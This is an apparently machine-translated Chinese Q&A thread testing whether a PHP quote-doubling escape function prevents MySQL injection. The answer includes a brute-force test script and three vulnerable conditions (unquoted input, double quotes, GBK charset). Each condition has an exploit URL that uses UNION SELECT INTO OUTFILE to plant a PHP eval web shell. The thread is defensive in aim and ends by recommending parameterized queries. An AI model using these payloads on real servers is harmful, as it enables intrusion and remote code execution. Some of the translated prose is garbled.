在我正在开发的应用程序中,我发现了一个弱脱逃功能以防止注入。我试图证明这一点,但是我很难举一个简单的例子。
转义功能的工作方式如下(PHP示例)。
function escape($value) { $value = str_replace("'","''",$value); $value = str_replace("\\","\\\\",$value); return $value; }
我意识到这不处理使用双引号(“)编码的值,但是所有查询都是使用单引号(’)构造的。
谁能打败这个逃生功能?
要求:
简单的例子:
$sql = "SELECT id FROM users WHERE username = '" . escape($username) . "' AND password = '" . escape($password) . "'"; $sql = "UPDATE users SET email = '" . escape($email) . "' WHERE id = '" . escape($id) . "'";
如果您 只是 用替换',''则可以通过注入a来利用它,\'这将变成a \'',这将使您突围而出,因为这给了您“字符文字”单引号和真实的单引号。但是,用替换"\\" 可以"\\\\"抵消此攻击。双单引号用于“转义” MS-SQL的单引号,但这不适用于MySQL,但可以使用。
'
''
\'
\''
"\\"
"\\\\"
以下代码 证明 此转义功能对于除以下 三种情况 以外的所有 条件 都是安全的。该代码对控制宪章的所有可能变体进行排列,并测试每一个,以确保使用单引号括住的select语句不会发生错误。此代码已在MySQL 5.1.41上进行了测试。
<?php mysql_connect("localhost",'root',''); function escape($value) { $value = str_replace("'","''",$value); $value = str_replace("\\","\\\\",$value); return $value; } $chars=array("'","\\","\0","a"); for($w=0;$w<4;$w++){ for($x=0;$x<4;$x++){ for($y=0;$y<4;$y++){ for($z=0;$z<4;$z++){ mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error()); } } } } print "Escape function is safe :("; ?>
漏洞条件1:不使用引号。
mysql_query("select username from users where id=".escape($_GET['id']));
开发:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
漏洞条件2:使用双引号
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
漏洞条件2:使用单引号,但是使用 替代字符集。。
mysql_set_charset("GBK") mysql_query("select username from users where id='".escape($_GET['id'])."'");
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
结论是始终将其mysql_real_escape_string()用作MySQL的转义例程。mysql_real_escape_string()连接到mysql数据库时,始终使用参数化查询库(如pdo和adodb)。 addslashes()为 更好的 逃生程序,因为它需要照顾的弱势状况2.应当指出的是,甚至没有mysql_real_escape_string()停止条件1,但是参数化查询库意愿。
mysql_real_escape_string()
addslashes()